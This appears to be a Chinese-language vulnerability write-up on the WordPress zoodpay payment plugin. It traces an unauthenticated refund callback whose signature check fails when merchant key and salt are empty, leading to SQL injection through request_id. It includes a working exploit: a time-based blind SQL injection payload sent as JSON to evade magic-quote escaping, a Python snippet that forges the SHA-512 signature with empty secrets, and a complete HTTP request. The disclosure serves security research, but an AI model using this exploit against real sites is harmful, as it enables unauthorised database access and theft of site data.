在审计 zoodpay 插件时,我关注到一条完整的风险链:

插件将退款回调暴露为公开 URL,通过全局 init 处理请求,仅依赖签名校验作为认证边界;而当 merchant_key 与 salt 缺失时,签名校验会退化失效。随后,外部可控的 request_id 被直接拼接进 SQL 查询,形成高风险数据流。

本地调试中,当前环境因为 WooCommerce 未激活,插件会在早期直接返回,因此链路默认不触发;但从源码设计看,只要 WooCommerce 正常启用,这条链路就是成立的。

退款处理函数被挂在全局 init 上:

zoodpay.php (line 542)

1
add_action( 'init', 'Zoodpay_update_refund_status' );

真正的分发条件只有一条:

1
if ( sanitize_text_field( isset( $_REQUEST['zoodpay_action'] ) ) && sanitize_text_field( $_REQUEST['zoodpay_action'] ) == "refund" ) 

也就是请求里只要带 zoodpay_action=refund,函数就会进入退款处理分支。这里没有独立路由、没有 nonce、没有来源校验、没有 method 限制。

漏洞点在于 zoodpay.php (line 499)

1
2
3
$meta = $wpdb->get_results(
"SELECT * FROM `" . $wpdb->postmeta . "` WHERE meta_key='_request_id' AND meta_value='" . $data['request_id'] . "'"
);

代码直接将外部可控的 request_id 拼接进 SQL

签名计算逻辑在:

1
2
3
4
5
$marchantKey = $zoodpay->get_option( 'zoodpay_merchant_key' );
$saltKey = base64_decode( $zoodpay->get_option( 'zoodpay_salt' ) );

$sign = $data['merchant_refund_reference'] . '|' . floatval( $data['refund_amount'] ) . '|' . $data['status'] . '|' . $marchantKey . '|' . $data['refund_id'] . '|' . htmlspecialchars_decode( $saltKey );
$signature = hash( 'sha512', $sign );

它依赖两个配置项:

  • zoodpay_merchant_key
  • zoodpay_salt

问题在于,代码没有在验签前检查这两个 secret 是否为空。如果它们缺失,系统不会拒绝请求,而是继续用空值参与签名计算。这样一来,所谓签名就退化成了基于公开字段的普通哈希,失去了身份认证意义。

(这是我在调试过程中发现的…….,断点走到这里这两个值直接为空了)

请求参数如何进入程序
代码支持两种输入格式:

  • JSON body,见 zoodpay.php (line 469)
  • 表单 POST,见 zoodpay.php (line 480)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if ( $json = json_decode( file_get_contents( "php://input" ), true ) ) {

$data['merchant_refund_reference'] = sanitize_text_field( $json['refund']['merchant_refund_reference'] );
$data['refund_amount'] = sanitize_text_field( $json['refund']['refund_amount'] );
$data['refund_id'] = sanitize_text_field( $json['refund']['refund_id'] );
$data['status'] = sanitize_text_field( $json['refund']['status'] );
$data['request_id'] = sanitize_text_field( $json['refund']['request_id'] );
$data['declined_reason'] = sanitize_text_field( $json['refund']['declined_reason'] );
$data['signature'] = sanitize_text_field( $json['signature'] );
} else {

$data['merchant_refund_reference'] = sanitize_text_field( $_POST['refund']['merchant_refund_reference'] );
$data['refund_amount'] = sanitize_text_field( $_POST['refund']['refund_amount'] );
$data['refund_id'] = sanitize_text_field( $_POST['refund']['refund_id'] );
$data['status'] = sanitize_text_field( $_POST['refund']['status'] );
$data['request_id'] = sanitize_text_field( $_POST['refund']['request_id'] );
$data['declined_reason'] = sanitize_text_field( $_POST['refund']['declined_reason'] );
$data['signature'] = sanitize_text_field( $_POST['signature'] );
}

这说明退款处理逻辑可被外部请求直接驱动,不依赖用户交互流程。这里发包的话还是选择 json 啊,因为 wordpress 有个 Magic Quotes 机制,自动转义用户输入中的某些字符,具体来说,它会在单引号 (‘)、双引号 (“)、反斜杠 (“) 和空字符 (NULL) 前自动添加反斜杠。但是 json 表单的话不会,这就可以绕过了。

1
2
3
4
5
6
7
8
9
10
"refund":{
"merchant_refund_reference":"1234",
"refund_amount":"100",
"refund_id":"refund_001",
"status":"Approved",
"request_id":"'or if(length((select database())) = 9 ,sleep(0.05),1)#",
"declined_reason":null
},
"signature":"650dad5edb5dd30c423b77841a37fe1c3e32aa47edaf06bdcfa1b9c4293ba46c7b8db20406b70d94679c75e2539a63c072aabc22d12aa223ab9034059280a3de"
}

这个 signature 可以通过脚本计算。

1
2
3
4
import hashlib

sign = "1234|100|Approved||refund_001|"
print(hashlib.sha512(sign.encode()).hexdigest())

完整数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /?zoodpay_action=refund HTTP/1.1
Host: localhost:8000
Content-Length: 351
sec-ch-ua-platform: "macOS"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
Content-Type: application/json
sec-ch-ua-mobile: ?0
Origin: http://localhost:8000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8000/wp-admin/plugins.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: keep-alive

{"refund":{"merchant_refund_reference":"1234","refund_amount":"100","refund_id":"refund_001","status":"Approved","request_id":"'or if(length((select database())) = 9 ,sleep(0.05),1)#","declined_reason":null},"signature":"650dad5edb5dd30c423b77841a37fe1c3e32aa47edaf06bdcfa1b9c4293ba46c7b8db20406b70d94679c75e2539a63c072aabc22d12aa223ab9034059280a3de"}